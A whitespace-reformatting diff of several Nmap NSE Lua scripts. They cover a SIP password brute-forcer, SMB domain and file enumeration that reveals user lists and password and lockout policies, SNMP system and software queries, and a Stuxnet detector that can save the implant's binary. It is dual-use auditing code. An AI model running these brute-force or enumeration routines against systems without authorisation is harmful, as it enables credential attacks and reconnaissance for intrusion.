-- a certain amount of guesses. This protection basically prevents
|
||||
-- any connection from the offending IP at an application level.
|
||||
if ( err:match("^403 Forbidden") ) then
|
||||
local err = brute.Error:new("The systems seems to have blocked our IP")
|
||||
err:setAbort( true )
|
||||
return false, err
|
||||
end
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
end
|
||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||
end,
|
||||
|
||||
disconnect = function(self) return self.helper:close() end,
|
||||
disconnect = function(self) return self.helper:close() end,
|
||||
}
|
||||
|
||||
-- Function used to check if we can distinguish existing from non-existing
|
||||
@@ -77,34 +77,34 @@ Driver = {
|
||||
-- was successful which makes it impossible to tell successfull logins
|
||||
-- from non-existing accounts apart.
|
||||
local function checkBadUser(host, port)
|
||||
local user = "baduser-" .. math.random(10000)
|
||||
local pass = "badpass-" .. math.random(10000)
|
||||
local helper = sip.Helper:new(host, port, { expires = 0 })
|
||||
local user = "baduser-" .. math.random(10000)
|
||||
local pass = "badpass-" .. math.random(10000)
|
||||
local helper = sip.Helper:new(host, port, { expires = 0 })
|
||||
|
||||
stdnse.print_debug(2, "Checking bad user: %s/%s", user, pass)
|
||||
local status, err = helper:connect()
|
||||
if ( not(status) ) then return false, "ERROR: Failed to connect" end
|
||||
stdnse.print_debug(2, "Checking bad user: %s/%s", user, pass)
|
||||
local status, err = helper:connect()
|
||||
if ( not(status) ) then return false, "ERROR: Failed to connect" end
|
||||
|
||||
helper:setCredentials(user, pass)
|
||||
local status, err = helper:register()
|
||||
helper:close()
|
||||
return status, err
|
||||
helper:setCredentials(user, pass)
|
||||
local status, err = helper:register()
|
||||
helper:close()
|
||||
return status, err
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
local force = stdnse.get_script_args("sip-brute.force")
|
||||
local force = stdnse.get_script_args("sip-brute.force")
|
||||
|
||||
if ( not(force) ) then
|
||||
local status = checkBadUser(host, port)
|
||||
if ( status ) then
|
||||
return "\nERROR: Cannot detect non-existing user accounts, this will result in:\n" ..
|
||||
" * Non-exisiting accounts being detected as found\n" ..
|
||||
" * Passwords for existing accounts being correctly detected\n\n" ..
|
||||
"Supply the sip-brute.force argument to override"
|
||||
end
|
||||
end
|
||||
local engine = brute.Engine:new(Driver, host, port)
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
local status, result = engine:start()
|
||||
return result
|
||||
if ( not(force) ) then
|
||||
local status = checkBadUser(host, port)
|
||||
if ( status ) then
|
||||
return "\nERROR: Cannot detect non-existing user accounts, this will result in:\n" ..
|
||||
" * Non-exisiting accounts being detected as found\n" ..
|
||||
" * Passwords for existing accounts being correctly detected\n\n" ..
|
||||
"Supply the sip-brute.force argument to override"
|
||||
end
|
||||
end
|
||||
local engine = brute.Engine:new(Driver, host, port)
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
local status, result = engine:start()
|
||||
return result
|
||||
end
|
||||
|
||||
@@ -65,59 +65,59 @@ dependencies = {"smb-brute"}
|
||||
-- TODO: This script needs some love...
|
||||
|
||||
hostrule = function(host)
|
||||
return smb.get_port(host) ~= nil
|
||||
return smb.get_port(host) ~= nil
|
||||
end
|
||||
|
||||
action = function(host)
|
||||
|
||||
local status, result = msrpc.get_domains(host)
|
||||
local status, result = msrpc.get_domains(host)
|
||||
|
||||
if(not(status)) then
|
||||
return stdnse.format_output(false, result)
|
||||
else
|
||||
local response = {}
|
||||
if(not(status)) then
|
||||
return stdnse.format_output(false, result)
|
||||
else
|
||||
local response = {}
|
||||
|
||||
for domain, data in pairs(result) do
|
||||
local piece = {}
|
||||
piece['name'] = domain
|
||||
for domain, data in pairs(result) do
|
||||
local piece = {}
|
||||
piece['name'] = domain
|
||||
|
||||
if(#data.groups > 0) then
|
||||
table.insert(piece, string.format("Groups: %s", stdnse.strjoin(", ", data.groups)))
|
||||
else
|
||||
table.insert(piece, string.format("Groups: n/a"))
|
||||
end
|
||||
if(#data.groups > 0) then
|
||||
table.insert(piece, string.format("Groups: %s", stdnse.strjoin(", ", data.groups)))
|
||||
else
|
||||
table.insert(piece, string.format("Groups: n/a"))
|
||||
end
|
||||
|
||||
if(#data.users > 0) then
|
||||
table.insert(piece, string.format("Users: %s", stdnse.strjoin(", ", data.users)))
|
||||
else
|
||||
table.insert(piece, string.format("Users: n/a"))
|
||||
end
|
||||
if(#data.users > 0) then
|
||||
table.insert(piece, string.format("Users: %s", stdnse.strjoin(", ", data.users)))
|
||||
else
|
||||
table.insert(piece, string.format("Users: n/a"))
|
||||
end
|
||||
|
||||
-- Floor data.max_password_age, if possible
|
||||
if(data.max_password_age) then
|
||||
data.max_password_age = math.floor(data.max_password_age)
|
||||
end
|
||||
-- Floor data.max_password_age, if possible
|
||||
if(data.max_password_age) then
|
||||
data.max_password_age = math.floor(data.max_password_age)
|
||||
end
|
||||
|
||||
table.insert(piece, string.format("Creation time: %s", data.created))
|
||||
table.insert(piece, string.format("Passwords: min length: %s; min age: %s days; max age: %s days; history: %s passwords",
|
||||
data.min_password_length or "n/a",
|
||||
data.min_password_age or "n/a",
|
||||
data.max_password_age or "n/a",
|
||||
data.password_history or "n/a"))
|
||||
if(data.password_properties and #data.password_properties) then
|
||||
table.insert(piece, string.format("Properties: %s", stdnse.strjoin(", ", data.password_properties)))
|
||||
end
|
||||
table.insert(piece, string.format("Creation time: %s", data.created))
|
||||
table.insert(piece, string.format("Passwords: min length: %s; min age: %s days; max age: %s days; history: %s passwords",
|
||||
data.min_password_length or "n/a",
|
||||
data.min_password_age or "n/a",
|
||||
data.max_password_age or "n/a",
|
||||
data.password_history or "n/a"))
|
||||
if(data.password_properties and #data.password_properties) then
|
||||
table.insert(piece, string.format("Properties: %s", stdnse.strjoin(", ", data.password_properties)))
|
||||
end
|
||||
|
||||
if(data.lockout_threshold) then
|
||||
table.insert(piece, string.format("Account lockout: %s attempts in %s minutes will lock out the account for %s minutes", data.lockout_threshold, data.lockout_window or "unlimited", data.lockout_duration or "unlimited"))
|
||||
else
|
||||
table.insert(piece, string.format("Account lockout disabled"))
|
||||
end
|
||||
if(data.lockout_threshold) then
|
||||
table.insert(piece, string.format("Account lockout: %s attempts in %s minutes will lock out the account for %s minutes", data.lockout_threshold, data.lockout_window or "unlimited", data.lockout_duration or "unlimited"))
|
||||
else
|
||||
table.insert(piece, string.format("Account lockout disabled"))
|
||||
end
|
||||
|
||||
table.insert(response, piece)
|
||||
end
|
||||
table.insert(response, piece)
|
||||
end
|
||||
|
||||
return stdnse.format_output(true, response)
|
||||
end
|
||||
return stdnse.format_output(true, response)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -50,79 +50,79 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||
categories = {"discovery", "safe"}
|
||||
|
||||
hostrule = function(host)
|
||||
return ( smb.get_port(host) ~= nil and arg_share and arg_path )
|
||||
return ( smb.get_port(host) ~= nil and arg_share and arg_path )
|
||||
end
|
||||
|
||||
-- checks whether the file entry is a directory
|
||||
local function is_dir(fe)
|
||||
return ( bit.band(fe.attrs, 16) == 16 )
|
||||
return ( bit.band(fe.attrs, 16) == 16 )
|
||||
end
|
||||
|
||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
||||
|
||||
action = function(host)
|
||||
local status, smbstate = smb.start_ex(host, true, true, arg_share, nil, nil, nil)
|
||||
if ( not(status) ) then
|
||||
return fail("Failed to authenticate to server (" .. smbstate .. ")")
|
||||
end
|
||||
local status, smbstate = smb.start_ex(host, true, true, arg_share, nil, nil, nil)
|
||||
if ( not(status) ) then
|
||||
return fail("Failed to authenticate to server (" .. smbstate .. ")")
|
||||
end
|
||||
|
||||
-- remove leading slash
|
||||
arg_path = ( arg_path:sub(1,2) == '\\' and arg_path:sub(2) or arg_path )
|
||||
-- remove leading slash
|
||||
arg_path = ( arg_path:sub(1,2) == '\\' and arg_path:sub(2) or arg_path )
|
||||
|
||||
-- fixup checksum argument
|
||||
arg_checksum = ( arg_checksum == 'true' or arg_checksum == '1' ) and true or false
|
||||
-- fixup checksum argument
|
||||
arg_checksum = ( arg_checksum == 'true' or arg_checksum == '1' ) and true or false
|
||||
|
||||
local options = { max_depth = arg_maxdepth, max_files = arg_maxfiles }
|
||||
local depth, path, output, dirs = 0, arg_path, {}, {}
|
||||
local file_count, dir_count, total_bytes = 0, 0, 0
|
||||
local options = { max_depth = arg_maxdepth, max_files = arg_maxfiles }
|
||||
local depth, path, output, dirs = 0, arg_path, {}, {}
|
||||
local file_count, dir_count, total_bytes = 0, 0, 0
|
||||
|
||||
repeat
|
||||
local lstab = tab.new((arg_checksum and 4 or 3))
|
||||
repeat
|
||||
local lstab = tab.new((arg_checksum and 4 or 3))
|
||||
|
||||
for fe in smb.find_files(smbstate, path .. '\\' .. arg_pattern, options ) do
|
||||
if ( arg_checksum and not(is_dir(fe)) ) then
|
||||
local status, content = smb.file_read(host, arg_share, path .. '\\' .. fe.fname, nil, {file_create_disposition=1})
|
||||
local sha1 = ( status and stdnse.tohex(openssl.sha1(content)) or "" )
|
||||
tab.addrow(lstab, fe.created, (is_dir(fe) and '<DIR>' or fe.eof), fe.fname, sha1)
|
||||
else
|
||||
tab.addrow(lstab, fe.created, (is_dir(fe) and '<DIR>' or fe.eof), fe.fname)
|
||||
end
|
||||
for fe in smb.find_files(smbstate, path .. '\\' .. arg_pattern, options ) do
|
||||
if ( arg_checksum and not(is_dir(fe)) ) then
|
||||
local status, content = smb.file_read(host, arg_share, path .. '\\' .. fe.fname, nil, {file_create_disposition=1})
|
||||
local sha1 = ( status and stdnse.tohex(openssl.sha1(content)) or "" )
|
||||
tab.addrow(lstab, fe.created, (is_dir(fe) and '<DIR>' or fe.eof), fe.fname, sha1)
|
||||
else
|
||||
tab.addrow(lstab, fe.created, (is_dir(fe) and '<DIR>' or fe.eof), fe.fname)
|
||||
end
|
||||
|
||||
arg_maxfiles = ( arg_maxfiles and arg_maxfiles - 1 )
|
||||
if ( arg_maxfiles == 0 ) then
|
||||
break
|
||||
end
|
||||
arg_maxfiles = ( arg_maxfiles and arg_maxfiles - 1 )
|
||||
if ( arg_maxfiles == 0 ) then
|
||||
break
|
||||
end
|
||||
|
||||
if ( is_dir(fe) ) then
|
||||
dir_count = dir_count + 1
|
||||
if ( fe.fname ~= '.' and fe.fname ~= '..' ) then
|
||||
table.insert(dirs, { depth = depth + 1, path = path .. '\\' .. fe.fname } )
|
||||
end
|
||||
else
|
||||
total_bytes = total_bytes + fe.eof
|
||||
file_count = file_count + 1
|
||||
end
|
||||
end
|
||||
table.insert(output, { name = ("Directory of %s"):format( '\\\\' .. stdnse.get_hostname(host) .. '\\' .. arg_share .. path), tab.dump(lstab) })
|
||||
if ( is_dir(fe) ) then
|
||||
dir_count = dir_count + 1
|
||||
if ( fe.fname ~= '.' and fe.fname ~= '..' ) then
|
||||
table.insert(dirs, { depth = depth + 1, path = path .. '\\' .. fe.fname } )
|
||||
end
|
||||
else
|
||||
total_bytes = total_bytes + fe.eof
|
||||
file_count = file_count + 1
|
||||
end
|
||||
end
|
||||
table.insert(output, { name = ("Directory of %s"):format( '\\\\' .. stdnse.get_hostname(host) .. '\\' .. arg_share .. path), tab.dump(lstab) })
|
||||
|
||||
path = nil
|
||||
if ( #dirs ~= 0 ) then
|
||||
local dir = table.remove(dirs, 1)
|
||||
depth = dir.depth
|
||||
if ( not(arg_maxdepth) or ( dir.depth < arg_maxdepth ) ) then
|
||||
path = dir.path
|
||||
table.insert(output, "")
|
||||
end
|
||||
end
|
||||
until(not(path) or arg_maxfiles == 0)
|
||||
path = nil
|
||||
if ( #dirs ~= 0 ) then
|
||||
local dir = table.remove(dirs, 1)
|
||||
depth = dir.depth
|
||||
if ( not(arg_maxdepth) or ( dir.depth < arg_maxdepth ) ) then
|
||||
path = dir.path
|
||||
table.insert(output, "")
|
||||
end
|
||||
end
|
||||
until(not(path) or arg_maxfiles == 0)
|
||||
|
||||
smb.stop(smbstate)
|
||||
smb.stop(smbstate)
|
||||
|
||||
local summary = { name = "Total Files Listed:",
|
||||
("%8d File(s)\t%d bytes"):format(file_count, total_bytes),
|
||||
("%8d Dir(s)"):format(dir_count) }
|
||||
table.insert(output, "")
|
||||
table.insert(output, summary)
|
||||
local summary = { name = "Total Files Listed:",
|
||||
("%8d File(s)\t%d bytes"):format(file_count, total_bytes),
|
||||
("%8d Dir(s)"):format(dir_count) }
|
||||
table.insert(output, "")
|
||||
table.insert(output, summary)
|
||||
|
||||
return stdnse.format_output(true, output)
|
||||
return stdnse.format_output(true, output)
|
||||
end
|
||||
|
||||
@@ -31,88 +31,88 @@ portrule = shortport.portnumber(161, "udp", {"open", "open|filtered"})
|
||||
-- Sends SNMP packets to host and reads responses
|
||||
action = function(host, port)
|
||||
|
||||
-- create the socket used for our connection
|
||||
local socket = nmap.new_socket()
|
||||
-- create the socket used for our connection
|
||||
local socket = nmap.new_socket()
|
||||
|
||||
-- set a reasonable timeout value
|
||||
socket:set_timeout(5000)
|
||||
-- set a reasonable timeout value
|
||||
socket:set_timeout(5000)
|
||||
|
||||
-- do some exception handling / cleanup
|
||||
local catch = function()
|
||||
socket:close()
|
||||
end
|
||||
-- do some exception handling / cleanup
|
||||
local catch = function()
|
||||
socket:close()
|
||||
end
|
||||
|
||||
local try = nmap.new_try(catch)
|
||||
local try = nmap.new_try(catch)
|
||||
|
||||
-- connect to the potential SNMP system
|
||||
try(socket:connect(host, port))
|
||||
-- connect to the potential SNMP system
|
||||
try(socket:connect(host, port))
|
||||
|
||||
local payload
|
||||
local payload
|
||||
|
||||
-- build a SNMP v1 packet
|
||||
-- copied from packet capture of snmpget exchange
|
||||
-- get value: 1.3.6.1.2.1.1.1.0 (SNMPv2-MIB::sysDescr.0)
|
||||
local options = {}
|
||||
options.reqId = 28428 -- unnecessary?
|
||||
payload = snmp.encode(snmp.buildPacket(snmp.buildGetRequest(options, "1.3.6.1.2.1.1.1.0")))
|
||||
-- build a SNMP v1 packet
|
||||
-- copied from packet capture of snmpget exchange
|
||||
-- get value: 1.3.6.1.2.1.1.1.0 (SNMPv2-MIB::sysDescr.0)
|
||||
local options = {}
|
||||
options.reqId = 28428 -- unnecessary?
|
||||
payload = snmp.encode(snmp.buildPacket(snmp.buildGetRequest(options, "1.3.6.1.2.1.1.1.0")))
|
||||
|
||||
try(socket:send(payload))
|
||||
try(socket:send(payload))
|
||||
|
||||
local status
|
||||
local response
|
||||
local status
|
||||
local response
|
||||
|
||||
-- read in any response we might get
|
||||
status, response = socket:receive_bytes(1)
|
||||
-- read in any response we might get
|
||||
status, response = socket:receive_bytes(1)
|
||||
|
||||
if (not status) or (response == "TIMEOUT") then
|
||||
return
|
||||
end
|
||||
if (not status) or (response == "TIMEOUT") then
|
||||
return
|
||||
end
|
||||
|
||||
-- since we got something back, the port is definitely open
|
||||
nmap.set_port_state(host, port, "open")
|
||||
-- since we got something back, the port is definitely open
|
||||
nmap.set_port_state(host, port, "open")
|
||||
|
||||
local result
|
||||
result = snmp.fetchFirst(response)
|
||||
local result
|
||||
result = snmp.fetchFirst(response)
|
||||
|
||||
-- build a SNMP v1 packet
|
||||
-- copied from packet capture of snmpget exchange
|
||||
-- get value: 1.3.6.1.2.1.1.3.0 (SNMPv2-MIB::sysUpTime.0)
|
||||
local options = {}
|
||||
options.reqId = 28428
|
||||
payload = snmp.encode(snmp.buildPacket(snmp.buildGetRequest(options, "1.3.6.1.2.1.1.3.0")))
|
||||
-- build a SNMP v1 packet
|
||||
-- copied from packet capture of snmpget exchange
|
||||
-- get value: 1.3.6.1.2.1.1.3.0 (SNMPv2-MIB::sysUpTime.0)
|
||||
local options = {}
|
||||
options.reqId = 28428
|
||||
payload = snmp.encode(snmp.buildPacket(snmp.buildGetRequest(options, "1.3.6.1.2.1.1.3.0")))
|
||||
|
||||
try(socket:send(payload))
|
||||
try(socket:send(payload))
|
||||
|
||||
-- read in any response we might get
|
||||
status, response = socket:receive_bytes(1)
|
||||
-- read in any response we might get
|
||||
status, response = socket:receive_bytes(1)
|
||||
|
||||
if (not status) or (response == "TIMEOUT") then
|
||||
return result
|
||||
end
|
||||
if (not status) or (response == "TIMEOUT") then
|
||||
return result
|
||||
end
|
||||
|
||||
try(socket:close())
|
||||
try(socket:close())
|
||||
|
||||
local uptime = snmp.fetchFirst(response)
|
||||
local uptime = snmp.fetchFirst(response)
|
||||
|
||||
local days, hours, minutes, seconds, htime, mtime, stime
|
||||
days = math.floor(uptime / 8640000)
|
||||
htime = math.fmod(uptime, 8640000)
|
||||
hours = math.floor(htime / 360000)
|
||||
mtime = math.fmod(htime, 360000)
|
||||
minutes = math.floor(mtime / 6000)
|
||||
stime = math.fmod(mtime, 6000)
|
||||
seconds = stime / 100
|
||||
local days, hours, minutes, seconds, htime, mtime, stime
|
||||
days = math.floor(uptime / 8640000)
|
||||
htime = math.fmod(uptime, 8640000)
|
||||
hours = math.floor(htime / 360000)
|
||||
mtime = math.fmod(htime, 360000)
|
||||
minutes = math.floor(mtime / 6000)
|
||||
stime = math.fmod(mtime, 6000)
|
||||
seconds = stime / 100
|
||||
|
||||
local dayLabel
|
||||
local dayLabel
|
||||
|
||||
if days == 1 then
|
||||
dayLabel = "day"
|
||||
else
|
||||
dayLabel = "days"
|
||||
end
|
||||
if days == 1 then
|
||||
dayLabel = "day"
|
||||
else
|
||||
dayLabel = "days"
|
||||
end
|
||||
|
||||
result = result .. "\n" .. string.format(" System uptime: %d %s, %d:%02d:%05.2f (%s timeticks)", days, dayLabel, hours, minutes, seconds, tostring(uptime))
|
||||
result = result .. "\n" .. string.format(" System uptime: %d %s, %d:%02d:%05.2f (%s timeticks)", days, dayLabel, hours, minutes, seconds, tostring(uptime))
|
||||
|
||||
return result
|
||||
return result
|
||||
end
|
||||
|
||||
|
||||
@@ -40,13 +40,13 @@ portrule = shortport.portnumber(161, "udp", {"open", "open|filtered"})
|
||||
-- @return value of relevant type or nil if oid was not found
|
||||
function get_value_from_table( tbl, oid )
|
||||
|
||||
for _, v in ipairs( tbl ) do
|
||||
if v.oid == oid then
|
||||
return v.value
|
||||
end
|
||||
end
|
||||
for _, v in ipairs( tbl ) do
|
||||
if v.oid == oid then
|
||||
return v.value
|
||||
end
|
||||
end
|
||||
|
||||
return nil
|
||||
return nil
|
||||
end
|
||||
|
||||
--- Processes the table and creates the script output
|
||||
@@ -55,55 +55,55 @@ end
|
||||
-- @return table suitable for <code>stdnse.format_output</code>
|
||||
function process_answer( tbl )
|
||||
|
||||
local sw_name = "1.3.6.1.2.1.25.6.3.1.2"
|
||||
local sw_date = "1.3.6.1.2.1.25.6.3.1.5"
|
||||
local new_tbl = {}
|
||||
local sw_name = "1.3.6.1.2.1.25.6.3.1.2"
|
||||
local sw_date = "1.3.6.1.2.1.25.6.3.1.5"
|
||||
local new_tbl = {}
|
||||
|
||||
for _, v in ipairs( tbl ) do
|
||||
for _, v in ipairs( tbl ) do
|
||||
|
||||
if ( v.oid:match("^" .. sw_name) ) then
|
||||
local objid = v.oid:gsub( "^" .. sw_name, sw_date)
|
||||
local install_date = get_value_from_table( tbl, objid )
|
||||
local sw_item
|
||||
if ( v.oid:match("^" .. sw_name) ) then
|
||||
local objid = v.oid:gsub( "^" .. sw_name, sw_date)
|
||||
local install_date = get_value_from_table( tbl, objid )
|
||||
local sw_item
|
||||
|
||||
local _, year, month, day, hour, min, sec = bin.unpack( ">SCCCCC", install_date )
|
||||
install_date = ("%02d-%02d-%02d %02d:%02d:%02d"):format( year, month, day, hour, min, sec )
|
||||
local _, year, month, day, hour, min, sec = bin.unpack( ">SCCCCC", install_date )
|
||||
install_date = ("%02d-%02d-%02d %02d:%02d:%02d"):format( year, month, day, hour, min, sec )
|
||||
|
||||
sw_item = ("%s; %s"):format(v.value ,install_date)
|
||||
table.insert( new_tbl, sw_item )
|
||||
end
|
||||
sw_item = ("%s; %s"):format(v.value ,install_date)
|
||||
table.insert( new_tbl, sw_item )
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
table.sort( new_tbl )
|
||||
return new_tbl
|
||||
table.sort( new_tbl )
|
||||
return new_tbl
|
||||
|
||||
end
|
||||
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local socket = nmap.new_socket()
|
||||
local catch = function() socket:close() end
|
||||
local try = nmap.new_try(catch)
|
||||
local data, snmpoid = nil, "1.3.6.1.2.1.25.6.3.1"
|
||||
local sw = {}
|
||||
local status
|
||||
local socket = nmap.new_socket()
|
||||
local catch = function() socket:close() end
|
||||
local try = nmap.new_try(catch)
|
||||
local data, snmpoid = nil, "1.3.6.1.2.1.25.6.3.1"
|
||||
local sw = {}
|
||||
local status
|
||||
|
||||
socket:set_timeout(5000)
|
||||
try(socket:connect(host, port))
|
||||
socket:set_timeout(5000)
|
||||
try(socket:connect(host, port))
|
||||
|
||||
status, sw = snmp.snmpWalk( socket, snmpoid )
|
||||
socket:close()
|
||||
status, sw = snmp.snmpWalk( socket, snmpoid )
|
||||
socket:close()
|
||||
|
||||
if ( not(status) ) or ( sw == nil ) or ( #sw == 0 ) then
|
||||
return
|
||||
end
|
||||
if ( not(status) ) or ( sw == nil ) or ( #sw == 0 ) then
|
||||
return
|
||||
end
|
||||
|
||||
sw = process_answer( sw )
|
||||
sw = process_answer( sw )
|
||||
|
||||
nmap.set_port_state(host, port, "open")
|
||||
nmap.set_port_state(host, port, "open")
|
||||
|
||||
return stdnse.format_output( true, sw )
|
||||
return stdnse.format_output( true, sw )
|
||||
end
|
||||
|
||||
|
||||
@@ -42,76 +42,76 @@ local RPC_GET_VERSION = 0x00
|
||||
local RPC_GET_EXECUTABLE = 0x04
|
||||
|
||||
local function check_infected(host, path, save)
|
||||
local file, result, session, status, version
|
||||
local file, result, session, status, version
|
||||
|
||||
-- Create an SMB session.
|
||||
status, session = msrpc.start_smb(host, path)
|
||||
if not status then
|
||||
stdnse.print_debug(1, "Failed to establish session on %s.", path)
|
||||
return false, nil
|
||||
end
|
||||
-- Create an SMB session.
|
||||
status, session = msrpc.start_smb(host, path)
|
||||
if not status then
|
||||
stdnse.print_debug(1, "Failed to establish session on %s.", path)
|
||||
return false, nil
|
||||
end
|
||||
|
||||
-- Bind to the Stuxnet service.
|
||||
status, result = msrpc.bind(session, STUXNET_UUID, STUXNET_VERSION, nil)
|
||||
if not status or result["ack_result"] ~= 0 then
|
||||
stdnse.print_debug(1, "Failed to bind to Stuxnet service.")
|
||||
msrpc.stop_smb(session)
|
||||
return false, nil
|
||||
end
|
||||
-- Bind to the Stuxnet service.
|
||||
status, result = msrpc.bind(session, STUXNET_UUID, STUXNET_VERSION, nil)
|
||||
if not status or result["ack_result"] ~= 0 then
|
||||
stdnse.print_debug(1, "Failed to bind to Stuxnet service.")
|
||||
msrpc.stop_smb(session)
|
||||
return false, nil
|
||||
end
|
||||
|
||||
-- Request version of Stuxnet infection.
|
||||
status, result = msrpc.call_function(session, RPC_GET_VERSION, "")
|
||||
if not status then
|
||||
stdnse.print_debug(1, "Failed to retrieve Stuxnet version: %s", result)
|
||||
msrpc.stop_smb(session)
|
||||
return false, nil
|
||||
end
|
||||
version = stdnse.tohex(result.arguments, {separator = ":"})
|
||||
-- Request version of Stuxnet infection.
|
||||
status, result = msrpc.call_function(session, RPC_GET_VERSION, "")
|
||||
if not status then
|
||||
stdnse.print_debug(1, "Failed to retrieve Stuxnet version: %s", result)
|
||||
msrpc.stop_smb(session)
|
||||
return false, nil
|
||||
end
|
||||
version = stdnse.tohex(result.arguments, {separator = ":"})
|
||||
|
||||
-- Request executable of Stuxnet infection.
|
||||
if save then
|
||||
local file, fmt
|
||||
-- Request executable of Stuxnet infection.
|
||||
if save then
|
||||
local file, fmt
|
||||
|
||||
status, result = msrpc.call_function(session, RPC_GET_EXECUTABLE, "")
|
||||
if not status then
|
||||
stdnse.print_debug(1, "Failed to retrieve Stuxnet executable: %s", result)
|
||||
msrpc.stop_smb(session)
|
||||
return true, version
|
||||
end
|
||||
status, result = msrpc.call_function(session, RPC_GET_EXECUTABLE, "")
|
||||
if not status then
|
||||
stdnse.print_debug(1, "Failed to retrieve Stuxnet executable: %s", result)
|
||||
msrpc.stop_smb(session)
|
||||
return true, version
|
||||
end
|
||||
|
||||
fmt = save:gsub("%%h", host.ip)
|
||||
fmt = fmt:gsub("%%v", version)
|
||||
file = io.open(stdnse.filename_escape(fmt), "w")
|
||||
if file then
|
||||
stdnse.print_debug(1, "Wrote %d bytes to file %s.", #result.arguments, fmt)
|
||||
file:write(result.arguments)
|
||||
file:close()
|
||||
else
|
||||
stdnse.print_debug(1, "Failed to open file: %s", fmt)
|
||||
end
|
||||
end
|
||||
fmt = save:gsub("%%h", host.ip)
|
||||
fmt = fmt:gsub("%%v", version)
|
||||
file = io.open(stdnse.filename_escape(fmt), "w")
|
||||
if file then
|
||||
stdnse.print_debug(1, "Wrote %d bytes to file %s.", #result.arguments, fmt)
|
||||
file:write(result.arguments)
|
||||
file:close()
|
||||
else
|
||||
stdnse.print_debug(1, "Failed to open file: %s", fmt)
|
||||
end
|
||||
end
|
||||
|
||||
-- Destroy the SMB session
|
||||
msrpc.stop_smb(session)
|
||||
-- Destroy the SMB session
|
||||
msrpc.stop_smb(session)
|
||||
|
||||
return true, version
|
||||
return true, version
|
||||
end
|
||||
|
||||
hostrule = function(host)
|
||||
return (smb.get_port(host) ~= nil)
|
||||
return (smb.get_port(host) ~= nil)
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
local _, path, result, save, status
|
||||
local _, path, result, save, status
|
||||
|
||||
-- Get script arguments.
|
||||
save = stdnse.get_script_args("stuxnet-detect.save")
|
||||
-- Get script arguments.
|
||||
save = stdnse.get_script_args("stuxnet-detect.save")
|
||||
|
||||
-- Try to find Stuxnet on this host.
|
||||
for _, path in pairs(STUXNET_PATHS) do
|
||||
status, result = check_infected(host, path, save)
|
||||
if status then
|
||||
return "INFECTED (version " .. result .. ")"
|
||||
end
|
||||
end
|
||||
-- Try to find Stuxnet on this host.
|
||||
for _, path in pairs(STUXNET_PATHS) do
|
||||
status, result = check_infected(host, path, save)
|
||||
if status then
|
||||
return "INFECTED (version " .. result .. ")"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -37,85 +37,85 @@ hostrule = function() return true end
|
||||
|
||||
-- the hostrule is only needed to warn
|
||||
hostaction = function(host)
|
||||
local port, state = nil, "open"
|
||||
local is_version_scan = false
|
||||
local port, state = nil, "open"
|
||||
local is_version_scan = false
|
||||
|
||||
-- iterate over ports and check whether name_confidence > 3 this would
|
||||
-- suggest that a version scan has been run
|
||||
for _, proto in ipairs({"tcp", "udp"}) do
|
||||
repeat
|
||||
port = nmap.get_ports(host, port, proto, state)
|
||||
if ( port and port.version.name_confidence > 3 ) then
|
||||
is_version_scan = true
|
||||
break
|
||||
end
|
||||
until( not(port) )
|
||||
end
|
||||
-- iterate over ports and check whether name_confidence > 3 this would
|
||||
-- suggest that a version scan has been run
|
||||
for _, proto in ipairs({"tcp", "udp"}) do
|
||||
repeat
|
||||
port = nmap.get_ports(host, port, proto, state)
|
||||
if ( port and port.version.name_confidence > 3 ) then
|
||||
is_version_scan = true
|
||||
break
|
||||
end
|
||||
until( not(port) )
|
||||
end
|
||||
|
||||
-- if no version scan has been run, warn the user as the script requires a
|
||||
-- version scan in order to work.
|
||||
if ( not(is_version_scan) ) then
|
||||
return stdnse.format_output(true, "WARNING: this script depends on Nmap's service/version detection (-sV)")
|
||||
end
|
||||
-- if no version scan has been run, warn the user as the script requires a
|
||||
-- version scan in order to work.
|
||||
if ( not(is_version_scan) ) then
|
||||
return stdnse.format_output(true, "WARNING: this script depends on Nmap's service/version detection (-sV)")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
portchecks = {
|
||||
|
||||
['tcp'] = {
|
||||
[113] = function(host, port) return ( port.service == "ident" ) end,
|
||||
[445] = function(host, port) return ( port.service == "netbios-ssn" ) end,
|
||||
[587] = function(host, port) return ( port.service == "smtp" ) end,
|
||||
[593] = function(host, port) return ( port.service == "ncacn_http" ) end,
|
||||
[636] = function(host, port) return ( port.service == "ldapssl" ) end,
|
||||
[3268] = function(host, port) return ( port.service == "ldap" ) end,
|
||||
},
|
||||
['tcp'] = {
|
||||
[113] = function(host, port) return ( port.service == "ident" ) end,
|
||||
[445] = function(host, port) return ( port.service == "netbios-ssn" ) end,
|
||||
[587] = function(host, port) return ( port.service == "smtp" ) end,
|
||||
[593] = function(host, port) return ( port.service == "ncacn_http" ) end,
|
||||
[636] = function(host, port) return ( port.service == "ldapssl" ) end,
|
||||
[3268] = function(host, port) return ( port.service == "ldap" ) end,
|
||||
},
|
||||
|
||||
['udp'] = {
|
||||
[5353] = function(host, port) return ( port.service == "mdns" ) end,
|
||||
}
|
||||
['udp'] = {
|
||||
[5353] = function(host, port) return ( port.service == "mdns" ) end,
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
servicechecks = {
|
||||
['http'] = function(host, port)
|
||||
local service = port.service
|
||||
port.service = "unknown"
|
||||
local status = shortport.http(host, port)
|
||||
port.service = service
|
||||
return status
|
||||
end,
|
||||
['http'] = function(host, port)
|
||||
local service = port.service
|
||||
port.service = "unknown"
|
||||
local status = shortport.http(host, port)
|
||||
port.service = service
|
||||
return status
|
||||
end,
|
||||
|
||||
-- accept msrpc on any port for now, we might want to limit it to certain
|
||||
-- port ranges in the future.
|
||||
['msrpc'] = function(host, port) return true end,
|
||||
-- accept msrpc on any port for now, we might want to limit it to certain
|
||||
-- port ranges in the future.
|
||||
['msrpc'] = function(host, port) return true end,
|
||||
|
||||
-- accept ncacn_http on any port for now, we might want to limit it to
|
||||
-- certain port ranges in the future.
|
||||
['ncacn_http'] = function(host, port) return true end,
|
||||
